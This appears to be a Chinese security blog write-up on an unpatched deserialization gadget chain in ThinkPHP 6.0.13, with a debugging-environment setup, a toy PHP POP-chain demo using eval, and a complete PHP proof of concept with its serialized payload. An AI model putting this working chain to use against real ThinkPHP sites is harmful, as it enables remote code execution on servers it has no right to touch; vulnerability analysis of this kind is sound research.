天天看点

ThinkPHP最新版6.0.13 0day利用链分析

作者:区块软件开发

ThinkPHP最新版6.0.13 0day利用链分析

0x01 ThinkPHP版本梳理

截止到2022年10月17日,6.0.x系列最新版是V6.0.13(2022年07月15日发布)

截止到2022年10月17日,5.1.x系列最新版是V5.1.41(2021年01月12日发布)

截止到2022年10月17日,5.0.x系列最新版是V5.0.24(2019年01月11日发布)

作者在2019年02月14日发布V5.2 RC1后,没有再发布过V5.2系列,而是在2019年04月22日发布V6.0.0 RC2,有理由怀疑V6.0系列接替了V5.2系列

thinkphp6及以上,安装需要使用composer

0x02 Mac下PHP集成环境踩坑

php集成环境,之前在windows下用phpstudy,自从换了mac,什么都要重新来。。

首选使用破解版MAMP Pro,但我这边下载后安装报错(后经查阅,安装破解版MAMP Pro可能需要关闭SIP,SIP即macOS的一种保护机制),不想关闭SIP,放弃这个方案,也试过MAMP免费版,但不支持切换php版本,这个不能忍,尝试phpstudy mac版,发现phpstudy mac版支持切换php版本,其他功能界面也和phpstudy windows版基本一致,就用它了

具体使用phpstudy mac版后发现,启动phpstudy mac版内置的php解释器报错,提示找不到redis.so库,在php.ini中注释掉redis.so库可解决此提醒,but,使用phpstudy内置的php下载composer时又报错,提示缺少openssl库,此时需要自己编译openssl库,太麻烦了,干脆换一个php集成环境吧,找来找去,发现MAMP免费版也可以切换php版本(需要一个小技巧,后面会提到),下载后尝试用内置的php下载安装composer,成功安装composer,OK,就用它了

mamp免费版切换php版本技巧,进入mamp下php安装目录,由于mamp默认显示最新的2个版本,所以可将其他版本改个名字来切换版本,如下图

ThinkPHP最新版6.0.13 0day利用链分析

0x03 Mac下ThinkPHP调试环境踩坑

php开发环境,使用phpstorm 2021.1.4,破解方式参考:https://ybdt.me/2022/01/13/如何放心的白嫖四大主流语言IDE/

安装composer,参考:https://getcomposer.org/download/

在mamp的对应php目录下安装composer后,然后创建到/usr/local/bin的软连接

1
2
3
           
ln -s /Applications/MAMP/bin/php/php7.1.33/bin/composer.phar /usr/local/bin/composer

ln -s /Applications/MAMP/bin/php/php7.1.33/bin/php /usr/local/bin/php
           

创建上述软连接后,可从任意位置执行composer及php

安装指定版本的thinkphp框架

1
           
composer create-project topthink/think tp5.0 5.0.24
           

我这边composer版本是2.2.18,不是最新版2.4.3,想使用composer安装thinkphp6的最新版6.0.13会提示找不到,可是php7.1安装composer最高版本只能是2.2.18,于是改用php7.4安装composer,成功安装到composer 2.4.3,再用composer 2.4.3安装thinkphp 6.0.13,成功安装,真是一波三折,如下图

ThinkPHP最新版6.0.13 0day利用链分析

php调试环境,mac下想安装xdebug需要先通过homebrew安装php,然后通过pecl安装xdebug,可是这样只能安装php版本对应的xdebug,不能安装指定版本的xdebug,可从https://xdebug.org/wizard查询,当前php版本需要哪个版本的xdebug,结果按照指令安装的时候,发现缺少phpize,官方文档并没有讲述mac下缺少phpize该如何安装,google后发现可能需要编译安装,太麻烦了,想想别的办法,猛地发现,mamp的如下目录自带了编译好的xdebug

1
           
/Applications/MAMP/bin/php/php7.4.21/lib/php/extensions/no-debug-non-zts-20190902
           

不得不说,集成环境真香~

修改php.ini,增加如下

1
2
3
4
5
6
7
8
           
[xdebug]
zend_extension="/Applications/MAMP/bin/php/php7.4.21/lib/php/extensions/no-debug-non-zts-20190902/xdebug.so"
xdebug.remote_enable=1
xdebug.remote_autostart=on
xdebug.remote_log="/var/log/xdebug.log"
xdebug.remote_port=9000
xdebug.remote_handler="dbgp"
xdebug.idekey="PhpStorm"
           
ThinkPHP最新版6.0.13 0day利用链分析

Phpstorm配置过程参见:https://juejin.cn/post/6934614190548221960

配置好后,如下图启动

ThinkPHP最新版6.0.13 0day利用链分析

能看到网页访问停在了断点处

ThinkPHP最新版6.0.13 0day利用链分析

程序执行停在了断点处

ThinkPHP最新版6.0.13 0day利用链分析

0x04 PHP反序列化漏洞及POP链复习

PHP反序列化漏洞原理:服务端在处理用户传入的序列化数据时,需要调用unserialize(),php中调用unserialize()会触发魔法方法__wakekup()、__destruct(),如果魔法方法中包含了危险函数或间接包含危险函数,则攻击者可构造恶意的序列化数据,在服务端反序列化的时候造成危险函数的执行,

PHP反序列化POP链原理:由于类反序列化后只包含属性不包含方法,也就是说我们构造的序列化数据只能操纵类的属性,不能操纵方法,只能通过自动调用魔法方法来调用方法,这个时候如果魔法方法中不是直接包含危险函数,就需要向上回溯,一层一层跟踪,也就是所谓的POP链,通常是寻找包含危险函数的同名方法、或者更复杂的,触发各种魔法方法,最终调用危险函数

详细讲解可参考:

https://johnfrod.top/安全/php反序列化漏洞总结/

https://www.cnblogs.com/bmjoker/p/13742666.html

如下是一个存在反序列化漏洞的文件vuln1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
           
class Demo {
    var $test;
    
    function __construct() {
        $this->test = new L();
    }
 
    function __destruct() {
        $this->test->action();
    }
}
 
class L {
    function action() {
        echo "function action() in class L";
    }
}
 
class Evil {
    var $test2;
    
    function action() {
        eval($this->test2);
    }
}
 
unserialize($_GET['test']);
           

由上述Demo可知,如果构造一个Demo类,里面实例化的是类Evil,反序列化时自动调用__destruct(),__destruct()中调用action(),action()中调用危险函数eval,则最终导致代码执行,同时不要忘记将恶意代码赋值给$test2,payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
           
class Demo {
    var $test;

    function __construct() {
        $this->test = new Evil();
        $this->test->test2 = "phpinfo();";
    }

    function __destruct() {
        $this->test->action();
    }
}

class Evil {
    var $test2;

    function action(){
        eval($this->test2);
    }
}

$d = new demo();
$data = serialize($d);
echo $data;

//上述输出
//O:4:"Demo":1:{s:4:"test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}
           

将上述序列化的输出传给vuln1.php,执行结果如下图

ThinkPHP最新版6.0.13 0day利用链分析

0x05 ThinkPHP框架复习

网站搭建好后,我们会访问:http://localhost:8888/tp6.0.13/public/index.php,其实这里的index.php并不是访问的内容,而是一个类似路由的文件,会请求分发到app/controller/Index.php中的方法index,可以看到其内容也是首页中出现的内容

ThinkPHP最新版6.0.13 0day利用链分析

我们对方法index做个修改

ThinkPHP最新版6.0.13 0day利用链分析

可以看到,首页内容也发生了修改

ThinkPHP最新版6.0.13 0day利用链分析

其实访问http://localhost:8888/tp6.0.13/public/index.php相当于访问http://localhost:8888/tp6.0.13/public/index.php/Index/index,只不过不加的时候,类Index和方法index是作为默认值,如果要访问其他方法,改为其他方法即可

ThinkPHP最新版6.0.13 0day利用链分析

详细讲解可参考:

https://www.kancloud.cn/manual/thinkphp6_0/1037485

https://www.kancloud.cn/manual/thinkphp6_0/1037494

0x06 ThinkPHP最新版6.0.13 0day利用链分析

截止到2022年10月17日,thinkphp 6.0.x系列最新版是V6.0.13(2022年07月15日发布),08月14日有人提交了一个反序列化利用链,是一个目前尚未修复的0day,下面对它进行一波分析

先用如下poc打一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
           
namespace League\Flysystem\Cached\Storage{
    class Psr6Cache{
          private $pool;
          protected $autosave = false;
          public function __construct($exp)
{
              $this->pool = $exp;
          }
    }
}
namespace think\log{
      class Channel{
          protected $logger;
          protected $lazy = true;
          public function __construct($exp)
{
               $this->logger = $exp;
               $this->lazy = false;
          }
}
}
namespace think{
      class Request{
          protected $url;
          public function __construct()
{
              $this->url = '<?php phpinfo(); ?>';
          }
      }
      class App{
            protected $instances = [];
            public function __construct()
{
                $this->instances = ['think\Request'=>new Request()];
            }
       }
}
namespace think\view\driver{
      class Php{}
}
namespace think\log\driver{
      class Socket{
            protected $config = [];
            protected $app;
            protected $clientArg = [];
            public function __construct()
            {
               $this->config = [
                  'debug'=>true,
                  'force_client_ids' => 1,
                  'allow_client_ids' => '',
                  'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
               ];
               $this->app = new \think\App();
               $this->clientArg = ['tabid'=>'1'];
            }
       }
}
namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo urlencode(serialize($a));
}

//输出如下
O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A2%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A17%3A%22think%5Clog%5CChannel%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00logger%22%3BO%3A23%3A%22think%5Clog%5Cdriver%5CSocket%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A4%3A%7Bs%3A5%3A%22debug%22%3Bb%3A1%3Bs%3A16%3A%22force_client_ids%22%3Bi%3A1%3Bs%3A16%3A%22allow_client_ids%22%3Bs%3A0%3A%22%22%3Bs%3A11%3A%22format_head%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22think%5Cview%5Cdriver%5CPhp%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22display%22%3B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A9%3A%22think%5CApp%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A13%3A%22think%5CRequest%22%3BO%3A13%3A%22think%5CRequest%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A19%3A%22%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%22%3B%7D%7D%7Ds%3A12%3A%22%00%2A%00clientArg%22%3Ba%3A1%3A%7Bs%3A5%3A%22tabid%22%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A7%3A%22%00%2A%00lazy%22%3Bb%3A0%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3B%7D
           

传入payload,如下图

ThinkPHP最新版6.0.13 0day利用链分析

根据poc可以看到漏洞代码出现在

ThinkPHP最新版6.0.13 0day利用链分析

这种框架向上回溯太麻烦了,采用poc+动态debug进行分析,基于之前的thinkphp框架复习,我们在vuln方法中加入漏洞代码,并在反序列化处打上断点,如下图

ThinkPHP最新版6.0.13 0day利用链分析

此处是反序列化入口__destruct(),如下图

ThinkPHP最新版6.0.13 0day利用链分析

一步一步跟进,跟进到下图所示的语句,可以看到此时autosave值为false,进入save()

ThinkPHP最新版6.0.13 0day利用链分析

继续跟踪,最终跟到触达代码执行的地方

ThinkPHP最新版6.0.13 0day利用链分析

from https://ybdt.me/

继续阅读